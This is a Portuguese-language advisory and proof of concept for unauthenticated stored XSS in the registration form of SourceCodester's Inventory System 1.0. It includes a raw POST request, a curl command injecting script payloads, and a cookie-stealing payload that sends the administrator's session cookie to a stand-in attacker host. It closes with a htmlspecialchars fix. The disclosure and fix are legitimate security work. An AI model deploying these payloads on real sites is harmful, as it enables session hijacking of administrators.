
Prova de conceito para XSS armazenado não autenticado no Sistema de Inventário SourceCodester, demonstrando sequestro de sessão de administrador via payloads de registro elaborados.
| Campo | Detalhes |
|---|
| Tipo de Vulnerabilidade | Stored Cross-Site Scripting (XSS) |
| Aplicação Afetada | Inventory System using PHP and MySQL |
| Fornecedor | SourceCodester |
| Versão Afetada | 1.0 |
| Ficheiro Afetado | register.php |
| Parâmetros | fullname, username |
| Autenticação Necessária | Não (não autenticado) |
| Impacto | Sequestro de sessão do administrador, execução de script malicioso no painel de administração |
| Pontuação CVSS | 8.8 (Alta) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
O Inventory System using PHP and MySQL da SourceCodester (submetido em 23 de maio de 2026) é vulnerável a Stored Cross-Site Scripting (XSS) não autenticado no módulo de Registo de Funcionários (register.php).
Os campos de entrada fullname e username não sanitizam nem codificam a entrada fornecida pelo utilizador antes de a armazenar na base de dados. Quando um administrador visita a página de Gestão de Utilizadores (users.php), os payloads não sanitizados são renderizados diretamente no contexto HTML, causando execução imediata de JavaScript na sessão do navegador do administrador.
Como o registo não requer autenticação, um atacante remoto e não autenticado pode injetar JavaScript arbitrário que será executado no contexto de qualquer administrador que visualize o painel de Gestão de Utilizadores.
/product_inventory/register.php — sem necessidade de login.fullname e/ou username./product_inventory/users.php, o payload é executado automaticamente no navegador do administrador.http://<ALVO>/product_inventory/register.php
Campo Nome Completo (Full Name) com payload:
<script>alert(1)</script>
Campo Nome de Utilizador (Username) com payload:
<script>alert(2)</script>
Password: qualquer valor (ex.: test1234)
POST /product_inventory/register.php HTTP/1.1
Host: <ALVO>
Content-Type: application/x-www-form-urlencoded
fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=
Equivalente em curl:
curl -X POST "http://<ALVO>/product_inventory/register.php" \
-d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="
Faça login como administrador e navegue para:
http://<ALVO>/product_inventory/users.php
Ambos os payloads são executados imediatamente ao carregar a página.
Um atacante não autenticado pode:
Exemplo de payload para roubo de cookie de sessão (substituir pelo servidor do atacante):
<script>document.location='http://atacante.com/roubar?c='+document.cookie</script>


A vulnerabilidade existe porque o register.php insere a entrada do utilizador diretamente na base de dados sem sanitização, e o users.php exibe os valores armazenados sem codificação htmlspecialchars().
Padrão vulnerável em users.php (aproximado):
// Inseguro — exibe o valor bruto da base de dados diretamente no HTML
echo $row['fullname'];
echo $row['username'];
Correção — aplicar codificação na saída:
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
Além disso, a entrada deve ser sanitizada na inserção no register.php usando strip_tags() ou declarações preparadas com validação adequada.
htmlspecialchars() com ENT_QUOTES antes de renderizar dados fornecidos pelo utilizador no HTML.Relatado por Syed Imad Uddin Alvi — Investigador de Segurança Independente